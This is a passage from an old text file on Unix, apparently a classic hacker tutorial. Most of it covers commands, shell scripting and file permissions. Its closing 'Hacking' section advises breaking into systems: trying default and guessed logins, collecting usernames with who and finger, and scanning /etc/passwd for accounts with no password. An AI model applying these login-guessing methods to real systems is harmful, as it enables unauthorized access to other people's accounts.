adding]&lt;br /&gt;     This is line 3&lt;br /&gt;     [control-z]&lt;br /&gt;     *0a [add after line 0]&lt;br /&gt;     This is THE first line&lt;br /&gt;     [control-z]&lt;br /&gt;     1,4l&lt;br /&gt;     This is THE first line&lt;br /&gt;     This is line 1&lt;br /&gt;     This is line 2&lt;br /&gt;     This is line 3&lt;br /&gt;     * w&lt;br /&gt;     71&lt;br /&gt;     * q&lt;br /&gt;     $&lt;br /&gt;   The 71 is number of bytes written.&lt;br /&gt;   a = append&lt;br /&gt;   l = list&lt;br /&gt;   # = print line number&lt;br /&gt;   w - write&lt;br /&gt;   l fname = load fname&lt;br /&gt;   s fname = save to fname&lt;br /&gt;   w = write to current file&lt;br /&gt;   q = quit&lt;br /&gt;mesg - turn write permissions on or off to your terminal (allow chat)&lt;br /&gt;     format "mesg y" or "mesg n"&lt;br /&gt;cc - the C compiler.  don't worry about this one right now.&lt;br /&gt;chmod - change mode of a file.  Change the access in other words.&lt;br /&gt;        syntax: "chmod mode filename"&lt;br /&gt;        $ chmod a+r newtext&lt;br /&gt;      Now everyone can read newtext.&lt;br /&gt;      a = all&lt;br /&gt;      r = read.  This will be explained further in the File System section.&lt;br /&gt;&lt;br /&gt;chown - change the owner of a file.&lt;br /&gt;       syntax: "chown owner filename"&lt;br /&gt;       $ chown scythian newtext&lt;br /&gt;       $&lt;br /&gt;chgrp - change the group [explained later] of a file.&lt;br /&gt;       syntax: "chgrp group file"&lt;br /&gt;       $ chgrp root runme&lt;br /&gt;       $&lt;br /&gt;finger - print out basic info on an account.  Format: finger username&lt;br /&gt;grep - search for patterns in a file.  syntax: "grep pattern file"&lt;br /&gt;       $ grep 1 newtext&lt;br /&gt;       This is Line 1&lt;br /&gt;       $ grep THE newtext&lt;br /&gt;       This is THE first line&lt;br /&gt;       $ grep "THE line 1" newtext&lt;br /&gt;       $&lt;br /&gt;&lt;br /&gt;mail - This is a very useful utility.  Obviously, you already know what it&lt;br /&gt;        is by its name.  There are several MAIL utilities, such as ELM, MUSH&lt;br /&gt;        and MSH, but the basic "mail" program is called "mail".  The usage&lt;br /&gt;        is:&lt;br /&gt;        "mail username@address" or&lt;br /&gt;        "mail username"&lt;br /&gt;        or&lt;br /&gt;        "mail"&lt;br /&gt;        or "mail addr1!addr2!addr3!user"&lt;br /&gt;&lt;br /&gt;        "mail username@address" - This is used to send mail to someone on&lt;br /&gt;another system, which is usually another UNIX, but some DOS machines and some&lt;br /&gt;VAX machines can recieve Unix Mail.  When you use "mail user@address" the&lt;br /&gt;system you are on MUST have a "smart mailer" [known as smail], and must&lt;br /&gt;have what we call system maps.  The smart mailer will find the "adress" part&lt;br /&gt;of the command and expand it into the full pathname usually.  I could look&lt;br /&gt;like this: mail phiber@optik&lt;br /&gt;           then look like this to the computer:&lt;br /&gt;&lt;br /&gt;           mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;Do not worry about it, I was merely explaining the principal of the thing.&lt;br /&gt;Now, if there is no smart mailer online, you'll have to know the FULL path&lt;br /&gt;name of the person you wish to mail to. For Instance, I want to mail to&lt;br /&gt;.. phiber.  I'd do this if there were no smart mailer:&lt;br /&gt;&lt;br /&gt;  $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?&lt;br /&gt;    [control-D]&lt;br /&gt;  $&lt;br /&gt;Then, when he got it, there would be about 20 lines of information, with&lt;br /&gt;like a post mark from every system my message went thru, and the "from" line&lt;br /&gt;would look like so:&lt;br /&gt;&lt;br /&gt;From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack &lt;Sir Hack&gt;&lt;br /&gt;&lt;br /&gt;        Now, for local mailing, just type in "mail username" where username&lt;br /&gt;is the login you want to send mail to.  Then type in your message.  Then&lt;br /&gt;end it with a control-D.&lt;br /&gt;&lt;br /&gt;        To read YOUR mail, just type in mail.  IE:&lt;br /&gt;&lt;br /&gt;        $ mail&lt;br /&gt;&lt;br /&gt;        From scythian ............&lt;br /&gt;        To sirhack ............&lt;br /&gt;        Subject: Well....&lt;br /&gt;&lt;br /&gt;        Arghhh!&lt;br /&gt;&lt;br /&gt;        ?&lt;br /&gt; The dots represent omitted crap.  Each Mail program makes its own headings.&lt;br /&gt; That ? is a prompt.  At this prompt I can type:&lt;br /&gt;&lt;br /&gt;        d - delete&lt;br /&gt;        f username - forward to username&lt;br /&gt;        w fname - write message to a file named fname&lt;br /&gt;        s fname - save message with header into file&lt;br /&gt;        q - quit / update mail&lt;br /&gt;        x - quit, but don't change a thing&lt;br /&gt;        m username - mail to username&lt;br /&gt;        r - reply&lt;br /&gt;        [enter] - read next message&lt;br /&gt;        + - go forward one message&lt;br /&gt;        - : go back one&lt;br /&gt;        h - print out message headers that are in your mailbox.&lt;br /&gt;&lt;br /&gt;There are others, to see them, you'd usually hit '?'.&lt;br /&gt;&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;If you send mail to someone not on your system, you will have to wait longer&lt;br /&gt;for a reply, since it is just as a letter.  A "postman" has to pick it up.&lt;br /&gt;The system might call out, and use UUCP to transfer mail.  Usually, uucp&lt;br /&gt;accounts are no good to one, unless you have uucp available to intercept mail.&lt;br /&gt;&lt;br /&gt;ps - process.  This command allows you to see what you are actually doing&lt;br /&gt;in memory.  Everytime you run a program, it gets assigned a Process Id number&lt;br /&gt;(PID), for accounting purposes, and so it can be tracked in memory, as&lt;br /&gt;well as shut down by you, or root.  usually, the first thing in a process&lt;br /&gt;list given by "ps" is your shell name.  Say I was logged in under sirhack,&lt;br /&gt;using the shell "csh" and running "watch scythian".  The watch program would&lt;br /&gt;go into the background, meaning I'd still be able to do things while it was&lt;br /&gt;running:&lt;br /&gt;  $ ps&lt;br /&gt;  PID  TTY  NAME&lt;br /&gt;  122  001  ksh&lt;br /&gt;  123  001  watch&lt;br /&gt;  $&lt;br /&gt;  That is a shortened PS.  That is the default listing [a brief one].&lt;br /&gt;  The TTY column represents the "tty" [i/o device] that the process is being&lt;br /&gt;  run from.  This is only useful really if you are using layers (don't worry)&lt;br /&gt;  or more than one person is logged in with the same account name.  Now,&lt;br /&gt;  "ps -f" would give a full process listing on yourself, so instead of&lt;br /&gt;  seeing just plain ole "watch" you'd most likely see "watch scythian"&lt;br /&gt;&lt;br /&gt;kill - kill a process.  This is used to terminate a program in memory obvio-&lt;br /&gt;ously.  You can only kill processes you own [ones you started], unless you&lt;br /&gt;are root, or your EUID is the same as the process you want to kill.&lt;br /&gt;(Will explain euid later).  If you kill the shell process, you are logged&lt;br /&gt;off.  By the same token, if you kill someone else's shell process, they&lt;br /&gt;are logged off.  So, if I said "kill 122" I would be logged off.  However,&lt;br /&gt;kill only sends a signal to UNIX telling it to kill off a process.  If&lt;br /&gt;you just use the syntax "kill pid" then UNIX kills the process WHEN it feels&lt;br /&gt;like it, which may be never.  So, you can specify urgency! Try "kill -num pid"&lt;br /&gt;Kill -9 pid  is a definite kill almost instantly.  So if I did this:&lt;br /&gt; $ kill 122&lt;br /&gt; $ kill 123&lt;br /&gt; $ ps&lt;br /&gt; PID   TTY   NAME&lt;br /&gt; 122   001   ksh&lt;br /&gt; 123   001   watch&lt;br /&gt; $ kill -9 123&lt;br /&gt; [123]: killed&lt;br /&gt; $ kill -9 122&lt;br /&gt; garbage&lt;br /&gt; NO CARRIER&lt;br /&gt;&lt;br /&gt;Also, you can do "kill -1 0" to kill your shell process to log yourself off.&lt;br /&gt;This is useful in scripts (explained later).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Shell Programmin'&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        Shell Programming is basically making a "script" file for the&lt;br /&gt;standard shell, being sh, ksh, csh, or something on those lines.  Its&lt;br /&gt;like an MSDOS batch file, but more complex, and more Flexible.&lt;br /&gt;This can be useful in one aspect of hacking.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First, lets get into variables.  Variables obviously can be assigned&lt;br /&gt;values.  These values can be string values, or numberic values.&lt;br /&gt;&lt;br /&gt;number=1&lt;br /&gt;&lt;br /&gt;        That would assign 1 to the variable named "number".&lt;br /&gt;&lt;br /&gt;string=Hi There&lt;br /&gt;or&lt;br /&gt;string="Hi There"&lt;br /&gt;&lt;br /&gt;        Both would assign "Hi there" to a variable.&lt;br /&gt;&lt;br /&gt;        Using a variable is different though.  When you wish to use a variable&lt;br /&gt;        you must procede it with a dollar ($) sign.  These variables can&lt;br /&gt;        be used as arguments in programs.  When I said that scripts are&lt;br /&gt;        like batch files, I meant it.  You can enter in any name of a program&lt;br /&gt;        in a script file, and it will execute it. Here is a sample script.&lt;br /&gt;&lt;br /&gt;counter=1&lt;br /&gt;arg1="-uf"&lt;br /&gt;arg2="scythian"&lt;br /&gt;&lt;br /&gt;ps $arg1 $arg2&lt;br /&gt;&lt;br /&gt;echo $counter&lt;br /&gt;&lt;br /&gt;        That script would translate to "ps -uf scythian" then would print&lt;br /&gt;        "1" after that was finished.  ECHO prints something on the screen&lt;br /&gt;        whether it be numeric, or a string constant.&lt;br /&gt;&lt;br /&gt;Other Commands / Examples:&lt;br /&gt;&lt;br /&gt;read - reads someting into a variable.  format : read variable .  No dollar&lt;br /&gt;        sign is needed here!  If I wwanted to get someone's name, I could&lt;br /&gt;        put:&lt;br /&gt;&lt;br /&gt;echo "What is your name?"&lt;br /&gt;read hisname&lt;br /&gt;echo Hello $hisname&lt;br /&gt;&lt;br /&gt;        What is your name?&lt;br /&gt;        Sir Hackalot&lt;br /&gt;        Hello Sir Hackalot&lt;br /&gt;&lt;br /&gt;        Remember, read can read numeric values also.&lt;br /&gt;&lt;br /&gt;trap - This can watch for someone to use the interrupt character. (Ctrl-c)&lt;br /&gt;       format: trap "command ; command ; command ; etc.."&lt;br /&gt;Example:&lt;br /&gt;        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo&lt;br /&gt;        'You gotta see this through!'"&lt;br /&gt;&lt;br /&gt;        Now, if I hit control-c during the script after this statement was&lt;br /&gt;        executed, I'd get:&lt;br /&gt;        Noway!! You are not getting rid of me that easy&lt;br /&gt;        You gotta see this through!&lt;br /&gt;&lt;br /&gt;exit : format :exit [num]  This exists the shell [quits] with return&lt;br /&gt;        code of num.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;CASE&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;        Case execution is like a menu choice deal.  The format of the command&lt;br /&gt;        or structure is :&lt;br /&gt;        case variable in&lt;br /&gt;        1) command;&lt;br /&gt;           command;;&lt;br /&gt;        2) command;&lt;br /&gt;           command;&lt;br /&gt;           command;;&lt;br /&gt;        *) command;;&lt;br /&gt;         esac&lt;br /&gt;        Each part can have any number of commands. The last command however&lt;br /&gt;        must have a ";;".  Take this menu:&lt;br /&gt;&lt;br /&gt;        echo "Please Choose:"&lt;br /&gt;        echo "(D)irectory (L)ogoff (S)hell"&lt;br /&gt;        read choice&lt;br /&gt;        case $choice in&lt;br /&gt;&lt;br /&gt;        D) echo "Doing Directory...";&lt;br /&gt;           ls -al ;;&lt;br /&gt;        L) echo Bye;&lt;br /&gt;           kill -1 0;;&lt;br /&gt;        S) exit;;&lt;br /&gt;        *) Echo "Error! Not a command";;&lt;br /&gt;        esac&lt;br /&gt;&lt;br /&gt;        The esac marks the end of a case function.  It must be after the&lt;br /&gt;        LAST command.&lt;br /&gt;&lt;br /&gt;Loops&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;        Ok, loops.  There are two loop functins.  the for loops, and the&lt;br /&gt;        repeat.&lt;br /&gt;&lt;br /&gt;        repeat looks like this: repeat something somethin1 somethin2&lt;br /&gt;        this would repeat a section of your script for each "something".&lt;br /&gt;        say i did this:&lt;br /&gt;        repeat scythian sirhack prophet&lt;br /&gt;&lt;br /&gt;        I may see "scythian" then sirhack then prophet on my screen.&lt;br /&gt;&lt;br /&gt;        The for loop is defined as "for variable in something&lt;br /&gt;                                    do&lt;br /&gt;                                    ..&lt;br /&gt;                                    ..&lt;br /&gt;                                    done"&lt;br /&gt;&lt;br /&gt;        an example:&lt;br /&gt;        for counter in 1 2 3&lt;br /&gt;        do&lt;br /&gt;        echo $counter&lt;br /&gt;        done&lt;br /&gt;&lt;br /&gt;        That would print out 1 then 2 then 3.&lt;br /&gt;&lt;br /&gt;Using TEST&lt;br /&gt;----------&lt;br /&gt;The format:  Test variable option variable&lt;br /&gt;&lt;br /&gt;The optios are:&lt;br /&gt;-eq    =&lt;br /&gt;-ne    &lt;&gt; (not equal)&lt;br /&gt;-gt    &gt;&lt;br /&gt;-lt    &lt;&lt;br /&gt;-ge    &gt;=&lt;br /&gt;-le    &lt;=&lt;br /&gt;&lt;br /&gt;for strings its: = for equal  != for not equal.&lt;br /&gt;&lt;br /&gt;If the condition is true, a zero is returned.  Watch:&lt;br /&gt;&lt;br /&gt;        test 3 -eq 3&lt;br /&gt;&lt;br /&gt;that would be test 3 = 3, and 0 would be returned.&lt;br /&gt;&lt;br /&gt;EXPR&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;This is for numeric functions.  You cannot simply type in&lt;br /&gt;echo 4 + 5&lt;br /&gt;and get an answer most of the time.  you must say:&lt;br /&gt;expr variable [or number] operator variable2 [or number]&lt;br /&gt;the operators are:&lt;br /&gt;&lt;br /&gt;+ add&lt;br /&gt;- subtract&lt;br /&gt;* multiply&lt;br /&gt;/ divide&lt;br /&gt;^ - power (on some systems)&lt;br /&gt;&lt;br /&gt;example :   expr 4 + 5&lt;br /&gt;var = expr 4 + 5&lt;br /&gt;var would hold 9.&lt;br /&gt;&lt;br /&gt;        On some systems, expr sometimes prints out a formula.  I mean,&lt;br /&gt;        22+12 is not the same as 22 + 12.  If you said expr 22+12 you&lt;br /&gt;        would see:&lt;br /&gt;        22+12&lt;br /&gt;        If you did expr 22 + 12 you'd see:&lt;br /&gt;        34&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SYSTEM VARIABLES&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;        These are variables used by the shell, and are usually set in the&lt;br /&gt;system wide .profile [explained later].&lt;br /&gt;&lt;br /&gt;HOME - location of your home directory.&lt;br /&gt;PS1  - The prompt you are given.  usually $ .  On BSD its usually &amp;&lt;br /&gt;PATH - This is the search path for programs.  When you type in a program&lt;br /&gt;to be run, it is not in memory; it must be loaded off disk.  Most commands&lt;br /&gt;are not in Memory like MSDOS.  If a program is on the search path, it may&lt;br /&gt;be executed no matter where you are.  If not, you must be in the directory&lt;br /&gt;where the program is.  A path is a set of directories basically, seperated by&lt;br /&gt;":"'s.  Here is a typical search path:&lt;br /&gt;&lt;br /&gt;        :/bin:/etc:/usr/lbin:$HOME:&lt;br /&gt;&lt;br /&gt;When you tried to execute a program, Unix would look for it in /bin,&lt;br /&gt;/etc, /usr/lbin, and your home directory, and if its not found, an error is&lt;br /&gt;spewed out.  It searches directories in ORDER of the path.  SO if you had a&lt;br /&gt;program named "sh" in your home directory, and typed in "sh", EVEN if&lt;br /&gt;you were in your home dir, it would execute the one in /bin. So, you&lt;br /&gt;must set your paths wisely.  Public access Unixes do this for you, but systems&lt;br /&gt;you may encounter may have no path set.&lt;br /&gt;&lt;br /&gt;TERM - This is your terminal type.  UNIX has a library of functions called&lt;br /&gt;"CURSES" which can take advantage of any terminal, provided the escape&lt;br /&gt;codes are found.  You must have your term set to something if you run&lt;br /&gt;screen oriented programs.  The escape codes/names of terms are found&lt;br /&gt;in a file called TERMCAP.  Don't worry about that.  just set your term&lt;br /&gt;to ansi or vt100.  CURSES will let you know if it cannot manipulate your&lt;br /&gt;terminal emulation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;The C compiler&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        This Will be BRIEF.  Why?  Becuase if you want to learn C, go&lt;br /&gt;        buy a book.  I don't have time to write another text file on&lt;br /&gt;        C, for it would be huge.  Basically, most executables are programmed&lt;br /&gt;        in C.  Source code files on unix are found as filename.c  .&lt;br /&gt;        To compile one, type in "cc filename.c".  Not all C programs&lt;br /&gt;        will compile, since they may depend on other files not there, or&lt;br /&gt;        are just modules.  If you see a think called "makefile" you can&lt;br /&gt;        usually type in just "make" at the command prompt, and something&lt;br /&gt;        will be compiled, or be attempted to compile.  When using make or&lt;br /&gt;        CC, it would be wise to use the background operand since&lt;br /&gt;        compiling sometimes takes for ever.&lt;br /&gt;        IE:&lt;br /&gt;        $ cc login.c&amp;&lt;br /&gt;        [1234]&lt;br /&gt;        $&lt;br /&gt;        (The 1234 was the process # it got identified as).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;The FILE SYSTEM&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;        This is an instrumental part of UNIX.  If you do not understand this&lt;br /&gt;section, you'll never get the hang of hacking Unix, since a lot of Pranks&lt;br /&gt;you can play, and things you can do to "raise your access" depend on it.&lt;br /&gt;&lt;br /&gt;First, Let's start out by talking about the directory structure.  It is&lt;br /&gt;basically a Hiearchy file system, meaning, it starts out at a root directory&lt;br /&gt;and expands, just as MSDOS, and possibly AmigaDos.&lt;br /&gt;&lt;br /&gt;Here is a Directory Tree of sorts:  (d) means directory&lt;br /&gt;&lt;br /&gt;                        /  (root dir)&lt;br /&gt;                        |&lt;br /&gt;                        |--------------------|&lt;br /&gt;                      bin (d)               usr (d)&lt;br /&gt;                                        ----^--------------------&lt;br /&gt;                                        |        |              |&lt;br /&gt;                                    sirhack(d)  scythian (d)    prophet (d)&lt;br /&gt;                                        |&lt;br /&gt;                                        src (d)&lt;br /&gt;&lt;br /&gt;Now, this particular system contains the following directories:&lt;br /&gt;/&lt;br /&gt;/bin&lt;br /&gt;/usr&lt;br /&gt;/usr/sirhack&lt;br /&gt;/usr/sirhack/src&lt;br /&gt;/usr/scythian&lt;br /&gt;/usr/prophet&lt;br /&gt;&lt;br /&gt;Hopefully, you understood that part, and you should.  Everything spawns from&lt;br /&gt;the root directory.&lt;br /&gt;&lt;br /&gt;o File Permissions!&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;Now, this is really the biggie.  File Permissions.  It is not that hard to&lt;br /&gt;understand file permissions, but I will explain them deeply anyway.&lt;br /&gt;&lt;br /&gt;OK, now you must think of user groups as well as user names.  Everyone&lt;br /&gt;belongs to a group.  at the $ prompt, you could type in 'id' to see what&lt;br /&gt;group you are in.  Ok, groups are used to allow people access certain things,&lt;br /&gt;instead of just having one person controlling/having access to certain files.&lt;br /&gt;Remember also, that Unix looks at someone's UID to determine access, not&lt;br /&gt;user name.&lt;br /&gt;&lt;br /&gt;Ok.  File permissions are not really that complicated.  Each file has an owner&lt;br /&gt;This OWNER is usually the one who creates the file, either by copying a file&lt;br /&gt;or just by plain editing one.  The program CHOWN can be used to give someone&lt;br /&gt;ownership of a file.  Remember that the owner of a file must be the one who&lt;br /&gt;runs CHOWN, since he is the only one that can change the permissions of a file&lt;br /&gt;Also, there is a group owner, which is basically the group that you were in&lt;br /&gt;when the file was created.  You would use chgrp to change the group a file is&lt;br /&gt;in.&lt;br /&gt;&lt;br /&gt;Now, Files can have Execute permissions, read permissions, or write permission.&lt;br /&gt;If you have execute permission, you know that you can just type in the name&lt;br /&gt;of that program at the command line, and it will execute.  If you have read&lt;br /&gt;permission on a file, you can obviously read the file, or do anything that&lt;br /&gt;reads the file in, such as copying the file or cat[ing] it (Typing it).&lt;br /&gt;If you do NOT have access to read a file, you can't do anything that requires&lt;br /&gt;reading in the file.  This is the same respect with write permission.  Now,&lt;br /&gt;all the permissions are arranged into 3 groups.  The first is the owner's&lt;br /&gt;permissions.  He may have the permissions set for himself to read and execute&lt;br /&gt;the file, but not write to it.  This would keep him from deleting it.&lt;br /&gt;The second group is the group permissions.  Take an elongated directory&lt;br /&gt;for an example:&lt;br /&gt; $ ls -l runme&lt;br /&gt; r-xrwxr-- sirhack       root     10990 March 21  runme&lt;br /&gt;&lt;br /&gt;ok.  Now, "root" is the groupname this file is in.  "sirhack" is the owner.&lt;br /&gt;Now, if the group named 'root' has access to read, write and execute, they&lt;br /&gt;could do just that.  Say .. Scythian came across the file, and was in the root&lt;br /&gt;user group.  He could read write or execute the file.  Now, say datawiz came&lt;br /&gt;across it, but was in the "users" group.  The group permissions would not&lt;br /&gt;apply to him, meaning he would have no permissions, so he couldn't touch&lt;br /&gt;the file, right?  Sorta.  There is a third group of permissions, and this is&lt;br /&gt;the "other" group.  This means that the permissions in the "other" group&lt;br /&gt;apply to everyone but the owner, and the users in the same group as the file.&lt;br /&gt;Look at the directory entry above.  the r-x-rwxr-- is the permissions line.&lt;br /&gt;The first three characters are the permissions for the owner (r-x).  The&lt;br /&gt;"r-x" translates to "Read and execute permissions, but no write permissions"&lt;br /&gt;the second set of three, r-xRWXr-- (the ones in capital letters) are the group&lt;br /&gt;permissions.  Those three characters mean "Read, write, and execution allowed"&lt;br /&gt;The 3rd set, r-xrwxR-- is the permissions for everyone else.  It means&lt;br /&gt;"Reading allowed, but nothing else".  A directory would look something like&lt;br /&gt;this:&lt;br /&gt; $ ls -l&lt;br /&gt; drwxr-xr-x sirhack     root  342 March 11  src&lt;br /&gt;&lt;br /&gt;A directory has a "d" at the beggining of the permissions line.  Now, the&lt;br /&gt;owner of the directory (sirhack) can read from the directory, write in the&lt;br /&gt;directory, and execute programs from the directory.  The root group and every-&lt;br /&gt;one else can only read from the directory, and execute off the directory.&lt;br /&gt;So, If I changed the directory to be executable only, this is&lt;br /&gt;what it would look like:&lt;br /&gt; $ chmod go-r&lt;br /&gt; $ ls&lt;br /&gt; drwx--x--x sirhack   root  342  March 11  src&lt;br /&gt;&lt;br /&gt;Now, if someone went into the directory besides "sirhack", they could only&lt;br /&gt;execute programs in the directory.  If they did an "ls" to get a directory&lt;br /&gt;of src, when they were inside src, it would say "cannot read directory".&lt;br /&gt;If there is a file that is readable in the directory, but the directory is&lt;br /&gt;not readable, it is sometimes possible to read the file anyway.&lt;br /&gt;&lt;br /&gt;If you do not have execute permissions in a directory, you won't be able to&lt;br /&gt;execute anything in the directory, most of the time.&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Hacking:&lt;br /&gt;--------------&lt;br /&gt;        The first step in hacking a UNIX is to get into the operating system&lt;br /&gt;by finding a valid account/password.  The object of hacking is usually to&lt;br /&gt;get root (full privileges), so if you're lucky enough to get in as root,&lt;br /&gt;you need not read anymore of this hacking phile , and get into the&lt;br /&gt;"Having Fun" Section.  Hacking can also be just to get other's accounts also.&lt;br /&gt;&lt;br /&gt;Getting IN&lt;br /&gt;----------&lt;br /&gt;        The first thing to do is to GET IN to the Unix.  I mean, get past&lt;br /&gt;the login prompt.  That is the very first thing.  When you come across a UNIX,&lt;br /&gt;sometimes it will identify itself by saying something like,&lt;br /&gt;"Young INC. Company UNIX"&lt;br /&gt;&lt;br /&gt;or Just&lt;br /&gt;"Young Inc.  Please login"&lt;br /&gt;&lt;br /&gt;        Here is where you try the defaults I listed.  If you get in with those&lt;br /&gt;you can get into the more advanced hacking (getting root). If you do something&lt;br /&gt;wrong at login, you'll get the message&lt;br /&gt;"login incorrect"&lt;br /&gt;This was meant to confuse hackers, or keep the wondering.  Why?&lt;br /&gt;Well, you don't know if you've enterred an account that does not exist, or one&lt;br /&gt;that does exist, and got the wrong password.  If you login as root and it says&lt;br /&gt;"Not on Console", you have a problem.  You have to login as someone else,&lt;br /&gt;and use SU to become root.&lt;br /&gt;&lt;br /&gt;   Now, this is where you have to think.  If you cannot get in with a&lt;br /&gt;default, you are obviously going to have to find something else to&lt;br /&gt;login as.  Some systems provide a good way to do this by allowing the use&lt;br /&gt;of command logins.  These are ones which simply execute a command, then&lt;br /&gt;logoff.  However, the commands they execute are usually useful.  For instance&lt;br /&gt;there are three common command logins that tell you who is online at the&lt;br /&gt;present time.  They are:&lt;br /&gt;        who&lt;br /&gt;        rwho&lt;br /&gt;        finger&lt;br /&gt;&lt;br /&gt;    If you ever successfully get one of these to work, you can write down&lt;br /&gt;the usernames of those online, and try to logon as them.  Lots of unsuspecting&lt;br /&gt;users use there login name as their password.  For instance, the user&lt;br /&gt;"bob" may have a password named "bob" or "bob1".   This, as you know, is&lt;br /&gt;not smart, but they don't expect a hacking spree to be carried out on&lt;br /&gt;them.  They merely want to be able to login fast.&lt;br /&gt;   If a command login does not exist, or is not useful at all, you will&lt;br /&gt;have to brainstorm.  A good thing to try is to use the name of the unix&lt;br /&gt;that it is identified as.  For instance, Young INC's Unix may have an account&lt;br /&gt;named "young"&lt;br /&gt;        Young, INC.  Please Login.&lt;br /&gt;        login: young&lt;br /&gt;        UNIX SYSTEM V REL 3.2&lt;br /&gt;        (c)1984 AT&amp;T..&lt;br /&gt;        ..&lt;br /&gt;        ..&lt;br /&gt;        ..&lt;br /&gt;&lt;br /&gt;   Some unixes have an account open named "test".  This is also a default,&lt;br /&gt;but surprisingly enough, it is sometimes left open.  It is good to try to&lt;br /&gt;use it.  Remember, brainstorming is the key to a unix that has no apparent&lt;br /&gt;defaults open.  Think of things that may go along with the Unix.  type&lt;br /&gt;in stuff like "info", "password", "dial", "bbs" and other things that&lt;br /&gt;may pertain to the system.  "att" is present on some machines also.&lt;br /&gt;&lt;br /&gt;ONCE INSIDE -- SPECIAL FILES&lt;br /&gt;----------------------------&lt;br /&gt;        There are several files that are very important to the UNIX&lt;br /&gt;environment.  They are as follows:&lt;br /&gt;&lt;br /&gt;/etc/passwd  - This is probably the most important file on a Unix.  Why?&lt;br /&gt;               well, basically, it holds the valid usernames/passwords.&lt;br /&gt;               This is important since only those listed in the passwd&lt;br /&gt;               file can login, and even then some can't (will explain).&lt;br /&gt;               The format for the passwordfile is this:&lt;br /&gt;&lt;br /&gt;username:password:UserID:GroupID:description(or real name):homedir:shell&lt;br /&gt;&lt;br /&gt;                Here are two sample entries:&lt;br /&gt;&lt;br /&gt;sirhack:89fGc%^7&amp;a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh&lt;br /&gt;demo::101:100:Test Account:/usr/demo:/usr/sh&lt;br /&gt;&lt;br /&gt;                In the first line, sirhack is a valid user.  The second&lt;br /&gt;                field, however, is supposed to be a password, right?  Well,&lt;br /&gt;                it is, but it's encrypted with the DES encryption standard.&lt;br /&gt;                the part that says "&amp;a,Ty" may include a date after the comma&lt;br /&gt;                (Ty) that tells unix when the password expires.  Yes, the&lt;br /&gt;                date is encrypted into two alphanumeric characters (Ty).&lt;br /&gt;&lt;br /&gt;                In the Second example, the demo account has no password.&lt;br /&gt;                so at Login, you could type in:&lt;br /&gt;&lt;br /&gt;login: demo&lt;br /&gt;UNIX system V&lt;br /&gt;(c)1984 AT&amp;T&lt;br /&gt;..&lt;br /&gt;..&lt;br /&gt;&lt;br /&gt;                But with sirhack, you'd have to enter a password.  Now,&lt;br /&gt;                the password file is great, since a lot of times, you;ll&lt;br /&gt;                be able to browse through it to look for unpassworded&lt;br /&gt;                accounts.  Remember that some accounts can be restricted&lt;br /&gt;                from logging in, as such:&lt;br /&gt;&lt;br /&gt;bin:*:2:2:binaccount:/bin:/bin/sh&lt;br /&gt;&lt;br /&gt;                The '*' means you won't be able to login with it.  Your&lt;br /&gt;                only hope would be to run an SUID shell (explained later).&lt;br /&gt;&lt;br /&gt;        A note about the DES encryption:  each unix makes its own unique&lt;br /&gt;"keyword" to base encryption off of.  Most of the time its just random letters&lt;br /&gt;and numbers.  Its chosen at installation time by the operating system.&lt;br /&gt;        Now, decrypting DES encrypted things ain't easy.  Its pretty much&lt;br /&gt;impossible.  Especially decrypting the password file (decrypting the password&lt;br /&gt;field within the password file to be exact).  Always beware a hacker who&lt;br /&gt;says he decrypted a password file.  He's full of shit.  Passwords are&lt;br /&gt;never decrypted on unix, but rather, a system call is made to a function&lt;br /&gt;called "crypt" from within the C language, and the string you enter as&lt;br /&gt;the password gets encrypted, and compared to the encrypted password.  If&lt;br /&gt;they match, you're in.  Now, there are password hackers, but they donot&lt;br /&gt;decrypt the password file, but rather, encrypt words from a dictionary&lt;br /&gt;and try them against every account (by crypting/comparing) until it finds&lt;br /&gt;a match (later on!).  Remember, few, if none, have decrypted the password&lt;br /&gt;file successfuly.&lt;br /&gt;&lt;br /&gt;/etc/group - This file contains The valid groups.  The group file is usually&lt;br /&gt;             defined as this:&lt;br /&gt;             groupname:password:groupid:users in group&lt;br /&gt;&lt;br /&gt;         Once again, passwords are encrypted here too.  If you see a blank&lt;br /&gt;         in the password entry you can become part of that group by&lt;br /&gt;         using the utility "newgrp". Now, there are some cases in&lt;br /&gt;         which even groups with no password will allow only certain&lt;br /&gt;         users to be assigned to the group via the newgrp command. Usually,&lt;br /&gt;         if the last field is left blank, that means any user can use newgrp&lt;br /&gt;         to get that group's access.  Otherwise, only the users specified in&lt;br /&gt;         the last field can enter the group via newgrp.&lt;br /&gt;&lt;br /&gt;        Newgrp is just a program that will change your group current&lt;br /&gt;        group id you are logged on under to the one you specify.  The&lt;br /&gt;        syntax for it is:  newgrp groupname&lt;br /&gt;        Now, if you find a group un passworded, and use newgrp to&lt;br /&gt;        enter it, and it asks for a password, you are not allowed to use&lt;br /&gt;        the group.  I will explain this further in The "SU &amp; Newgrp" section.&lt;br /&gt;&lt;br /&gt;/etc/hosts - this file contains a list of hosts it is connected to thru&lt;br /&gt;             a hardware network (like an x.25 link or something), or sometimes&lt;br /&gt;             just thru UUCP.  This is a good file when you are hacking a&lt;br /&gt;             large network, since it tells you systems you can use 